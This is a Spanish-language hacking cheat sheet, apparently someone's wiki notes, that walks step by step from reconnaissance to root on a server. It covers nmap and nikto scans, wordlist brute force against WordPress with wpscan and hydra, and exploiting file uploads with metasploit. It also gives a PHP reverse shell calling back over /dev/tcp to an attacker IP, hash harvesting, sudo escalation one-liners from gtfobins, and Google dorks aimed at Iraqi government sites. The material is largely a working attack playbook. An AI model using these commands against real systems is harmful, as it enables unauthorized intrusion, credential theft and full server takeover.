====== Pasos para intentar hackear un servidor ====== **Normalmente siempre es conveniente saber cual es la ip**\\ * Con __nslookup__ o __host__ si el host no está en la red local y sólo sabemos el dominio, útil para saber en qué **ubicación** se encuentra, **sin poner** el protocolo **http o https, ojo** * //**nslookup** dominio.com// * //**host** dominio.com// * Si está en la red local se puede encontrar con: * %%sudo arp-scan -I eth0 -l%% * //nmap 192.168.0.1/24// (32 bits-24 -> 8, 2^8 -> 256) * //nmap 192.168.0.1-255// **Ver si responde a pings y observar el trazado**\\ * ping -c1 192.168.0.213 -R PING 192.168.0.213 (192.168.0.213) 56(124) bytes of data. 64 bytes from 192.168.0.213: icmp_seq=1 ttl=64 time=1.75 ms RR: 192.168.0.93 (atacante) 192.168.0.213 (víctima) 192.168.0.213 (víctima) 192.168.0.93 (atacante) --- 192.168.0.213 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 1.746/1.746/1.746/0.000 ms ===== Nmap ===== **parámetros básicos y más utilizados**\\ * **-Pn** No usar ping para detectar hosts activos, porque muchos servidores lo tienen deshabilitado, no responden, nmap no continúa con el escaner e interpreta que el host no está activo\\ * **-n** No realizar resolución dns para ahorrar tiempo (se puede resolver previamente con **nslookup o host**)\\ * **-sS** escaneo rápido TCP SYN Scan para saber cuales están abiertos, **requiere root**, es el predeterminado, sigiloso, poco molesto y efectivo porque no completa la conexión TCP. Envía SYN y si recibe SYN/ACK interpreta que está abierto\\ * **-sV** Detecta solo versiones, si se quiere que además detecte **SO** usar en vez de **-sV -A**\\ * **-sC** Escaneo de script predeterminado\\ * **-sCV** Lo mismo que poner **-sC y -sV**\\ * **-vv** Aumenta el nivel de mensajes detallados\\ * **-p-** Escaneo de todos los puertos (0 a 65 mil y pico)\\ * **%%-p- --open--%%** Escaneo de todos los puertos (0 a 65 mil y pico) pero que muestre sólo los abiertos\\ * **-p1-3500** Escaneo de un rango de puertos\\ * **-p22,80,443,8080** Escaneo de unos puertos concretos\\ * **%%--%%min-rate 6000** (6000 paquetes mínimo por segundo o los que quieras, según la velocidad de tu conexión, lógico para servidores virtualizados de prueba pero no para hacerlo con reales porque aumenta la detección, en reales se usa como máximo la opción T5 que envía unos 1000 a 2000 paquetes como máximo, y ya es muy intrusivo, normalmente se envían 200)\\ * **%%--script "vuln", --script "vuln and not intrusive" o --script "all",etc%%, [[https://nmap.org/book/man-nse.html|ver todas las posibilidades, all, vuln and not auth, etc]]** ==== Escaneo Básico==== * **A una máquina virtual de pruebas en la red local (escaneo rápido)** * %%sudo nmap -Pn -sS -n -p 22,80 -sCV -vv --min-rate 6000 192.168.0.213%% * **A un servidor cualquiera fuera de la red local** * %%sudo nmap -Pn -sS -n -p 22,80 -sCV -vv -T4 192.168.0.213%% * **Fijarse cómo varía la velocidad del escaner si cambias parámetros, al terminar hay una línea que pone** __Host is up (0.00068s latency) __ ==== Escaneo de vulnerabilidades ==== * %%sudo nmap -Pn -p22,80 --script vuln 192.168.0.227%% * %%sudo nmap -Pn -p22,80 --script "all and not broadcast" 192.168.0.227%% ===== Encabezados http ===== **Ver si revela alguna información** \\ * %%curl -I http://192.168.0.227%% * %%curl -I http://dominio.com%% ===== Escaner Nickto ===== **Es específico para servidores web y útil si no sabemos interpretar bien los encabezados http del comando anterior** * **Parámetros:** * -h ip * -p puerto * **Ejemplo:** * nikto -h %%http://192.168.0.227%% -p 80 -output scan_nikto.txt ===== Diccionarios y pistas ===== **Fuerza bruta y pistas** ^ Estructura, carpetas de seclists y archivos de interés ^^ |Discovery|Directorios y archivos en servidores web| |Pattern-Matching|Patrones para extraer información sensible| |Routers|Usuarios, contraseñas por defecto en routers| |Fuzzing|Pruebas para identificar vulnerabilidades| |Miscellaneous|SQL injection, cross-site scripting (XSS)| |Passwords,Usernames|Ataques de fuerza bruta| |User-Agents|Cadenas para simular navegadores web y dispositivos| |Discovery/Web-Content/Logins.fuzz.txt|Paneles de login web .php,.asp,.rb,.py,logon.py etc| **Descargar, conocer seclists, un conjunto de diccionarios de fuerza bruta para poder hacer fuzzing** * %%gitclone https://github.com/danielmiessler/SecLists.git%% * **Obtener palabras del servidor web que tal vez puedan darnos pistas** * %%cewl http://192.168.0.227 -w lista_palabras.txt%% * %%cewl http://dominio.com -w lista_palabras.txt%% * **Con las pistas más relevantes que saquemos de lista_palabras.txt y del resto analizado crear un diccionario de fuerza bruta a medida** * %%princeprocessor palabras_relevantes.txt > diccionario.txt%% * **Si el diccionario es más específico y no se van a permutar palabras se puede usar crunch (ejemplo)** * crunch 14 14 ABCD123 -t pepe@@%%casa@@ > diccionario.txt Crunch will now generate the following amount of data: 3601500 bytes 3 MB 0 GB 0 TB 0 PB Crunch will now generate the following number of lines: 240100 **Descargar, conocer rockyou, un diccionario para poder hacer fuerza bruta con contraseñas al panel de login, ssh, etc** * %%https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt%% 133MB * {{ :tutorial:rockyou2021.torrent.gz |}} 90GB descomprimido ===== Hacer fuzzing ===== **Identificar aplicaciones web instaladas, //**CMS**//** * Hacer **fuzzing** para descubrir rutas, archivos de interés y **CMS** instalado * p1=directory-list-2.3-medium.txt * ffuf -u %%http://ip/FUZZ -w $p1%% -ac -fw 60000-90894 * ffuf -u %%http://ip/admin/FUZZ -w $p1%% -ac -fw 60000-90894 * feroxbuster -u %%http://pagina.com -w%% $p1 -o resultado.txt -x php,html,txt * Encontrar **paneles de login** (rutas por defecto de instalación) * Encontrar **versión** de **CMS** en el **código** fuente **html** de la página principal * Buscar si hay **exploits para** esa versión de **CMS** ===== Archivos de interés en wordpress ===== |wp-admin|Redirecciona a wp-login.php, Panel de login| |wp-login.php|Panel de login| |xmlrpc.php|Usado para hacer fuerza bruta con wpscan, más rápido que al panel de login con hydra| |wp-config.php|Contiene nombres de usuario y contraseñas de bases de datos| ===== Buscar vulnerabilidades ===== **Buscar vulnerabilidades para las versiones detectadas de los servicios descubiertos** \\ * **Ejemplos** * searchsploit apache | grep -E '2\.4.*' * searchsploit ssh | grep -E '9\.2.*' * searchsploit bludit * searchsploit wordpress | grep -E '7\.2.*' ===== Estenografía ===== **Muchas veces hay fotografías que contienen información oculta** steghide info foto.jpg "foto.jpg": formato: jpeg capacidad: 5,6 KB �Intenta informarse sobre los datos adjuntos? (s/n) s Anotar salvoconducto: **Se puede intentar hacer fuerza bruta** stegseek foto.jpg ../Descargas/rockyou.txt StegSeek 0.6 - https://github.com/RickdeJager/StegSeek [i] Progress: 99.75% (133.1 MB) [!] error: Could not find a valid passphrase. ===== Leer lo ilegible, ejemplos ===== echo hola | xxd -p 686f6c610a echo 686f6c610a | xxd -r -p hola **desofuscar javascript con [[http://jsnice.org/|jsnice]]**\\ |var _0x55ae=["\x48\x65\x6C\x6C\x6F \x20\x57\x6F\x72\x6C\x64\x21", "\x0A","\x4F\x4B"];var a=_0x55ae[0]; function MsgBox(_0x9e43x3){ alert(_0x9e43x3+_0x55ae[1]+a);} ; MsgBox(_0x55ae[2]);|/** @type {Array} */ var _0x55ae = ["Hello World!", "\n", "OK"]; var a = _0x55ae[0]; /** * @param {?} alertCallback * @return {undefined} */ function MsgBox(alertCallback) { alert(alertCallback + _0x55ae[1] + a); } MsgBox(_0x55ae[2]);| ===== Google Dorks ===== gov site:.iq -> obtiene dominios y subdominios de iraq\\ gov site:.iq filetype:pdf -> obtiene archivos pdf de dominios y subdominios de iraq\\ gov site:.iq inurl:admin -> obtiene resultados que contengan la palabra "admin" en las urls de dominios y subdominios de iraq\\ **Más ejemplos** [[https://afsh4ck.gitbook.io/ethical-hacking-cheatsheet/recopilacion-de-informacion/google-hacking/google-dorks|Google Dorks]] ===== Pasos, Fuerza Bruta y Exploits ===== * Si estamos en local con una mágina de pruebas agregar en **/etc/hosts** el dominio a la ip de la máquina * Ver si hay **nombre** de **usuario** en la página principal del **CMS**, y ver si en el código html pone la **versión** * En **wordpress** * **Encontrar** cual es el directorio/**página principal** de **wordpress** (loquesea) * p1=seclist/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt * Con **feroxbuster**: * %%feroxbuster -u http://192.168.0.137 -w $p1 -D%% * Con **gobuster**: * %%gobuster dir -u http://192.168.0.137 -w $p1%% * **versión** vieja (2.0.1): * %%gobuster -m dir -u http://192.168.0.137 -w $p1%% * Enumerar **plugins** populares y **usuarios**: * %%wpscan --url http://pagina.es/loquesea --enumerate u,p%% * __**Importante**__ -> Enumerar **todos** los plugins (__tarda__) * %%wpscan --url http://pagina.es/loquesea --enumerate ap%% * __**Importante**__-> **Buscar** vulnerabilidades. Si en searchspoit no hay nada **buscar** en cuadro búsqueda de **github**, ej -> %%"nombre plugin wordpress"%% * **Ataque con acceso** -> Obtenido el nombre de algún usuario se procede: * 1º ataque de **fuerza bruta** * A **xmlrpc.php de wordpress** (que permite múltiples intentos de login en una sola solicitud.) * %%wpscan --url http://pagina.es/loquesea -U maria -P rockyou.txt%% * Al **panel de login** como en cualquier otro **CMS** (menos eficiente y más dificil de escribir) * Con **hydra** * data="cadena del inspector de código de firefox del archivo login.php" * hydra -l pepe -P rockyou.txt url http-post-form $data * Con un script hecho a medida como el de [[https://github.com/0xDTC/Bludit-3.9.2-Auth-Bruteforce-Bypass-CVE-2019-17240/blob/master/CVE-2019-17240|Bludit]] * 2º Una vez descubierta la contraseña se explota una **vulnerabilidad** en la **subida** de archivos del **CMS** * Desde **metasploit** (puede ser que automáticamente cree el payload y lo suba, **fácil**) * Algunos comandos * search wordpress * use 0 * show options * set, run * Mediante **msfvenom** (metasploit) creamos una **imagen** maliciosa, archivo binario (con payload) donde está el **shell reverse** * **Escribiendo** el **shell reverse** en un **fichero** php y **ejecutándolo** en el servidor a través de **url** (menos sofisticado, pero a veces funciona) * & /dev/tcp/192.168.0.93/8080 0>&1'"); ?> * Desde nuestra máquina atacante esperamos a obtener la **shell** con: * **nc -lvp 8080** * una vez dentro se obtiene **shell** como usuario **www-data** y: * Se pueden encontrar los **hashes** de los usuarios por los archivos **php** del **CMS** __incluido__ el del **administrador** y otros datos de interés __%%/var/www/html/loquesea%%__ ya que todos los archivos del **CMS** tienen permisos para el usuario **www-data** * %%grep -irE '[a-z]+:\$' /var/www/cms/*%% (hashes) * %%grep -irE '[a-z]+@gmail' /var/www/cms/*%% (otros datos) * Obtenido el **hash** se intenta **descifrar** en **[[https://crackstation.net|crackstation]]** previamente preparado con john * Se puede ver **usuarios** del sistema e información sobre ellos en **/etc/passwd** * Permisos que tienen en **/etc/group** * Se intenta hacer **escalada a root** * Vemos qué comandos puede ejecutar un usuario con **privilegios de root** -> **sudo -l** (usuario con el que estamos), **sudo -l -U www-data** (a un usuario concreto, **si somos root vemos lo de los demás**) y buscamos en **[[https://gtfobins.github.io/|gtfobins]]** cómo **bypassear** la restricción si es que se puede * **(ALL : ALL) ALL** * **(ALL) NOPASSWD: ALL** -> El usuario puede ejecutar cualquier comando como root sin necesidad de contraseña. Escalada inmediata. * **(pepe) NOPASSWD: /usr/bin/php** -> El usuario puede ejecutar php como pepe *%%sudo -u pepe php -r "system('/bin/bash');"%% -> Ejecuta shell con permisos de pepe [[https://gtfobins.github.io/gtfobins/php/]] * **(root) NOPASSWD: /usr/bin/busctl** -> El usuario puede ejecutar busctl como root y escalar manipulando el comando * %%sudo busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'%% [[https://gtfobins.github.io/gtfobins/busctl/]] * **%%(ALL) NOPASSWD: /ruta/script.sh%%** -> El usuario puede ejecutar cualquier comando como root que haga referencia a esa ruta y puede dar un **salto a root** así * sudo ./script.sh, donde script.sh contiene * #!/bin/bash bash |sudo |Ejecuta con privilegios de root (necesario para cambiar propiedades de systemd)| |busctl |Herramienta para interactuar con D-Bus| |set-property |Subcomando de busctl para cambiar una propiedad expuesta vía D-Bus| |org.freedesktop.systemd1 |Servicio D-Bus de systemd| |/org/freedesktop/systemd1 |Objeto D-Bus raíz que representa al gestor de systemd| |org.freedesktop.systemd1.Manager |Interfaz D-Bus que gestiona systemd, Contiene propiedades y métodos para controlar systemd (iniciar/parar servicios, cambiar configuraciones, etc).| |LogLevel |Propiedad que se va a modificar| |s |Tipo de dato: s = string (en la notación de tipos de D-Bus)| |debug |Nuevo valor: debug (valor de la propiedad LogLevel)| |argv1=-c|Primer argumento pasado a /bin/sh, -c significa "ejecuta el siguiente comando como script| |argv2='/bin/sh -i|Ejecuta la shell en modo interactivo| |0<&2|Redirige stderr a entrada estandar| |1>&2|Redirige Salida estandar a stdrr| .....continuará. Feliz hacking 8-)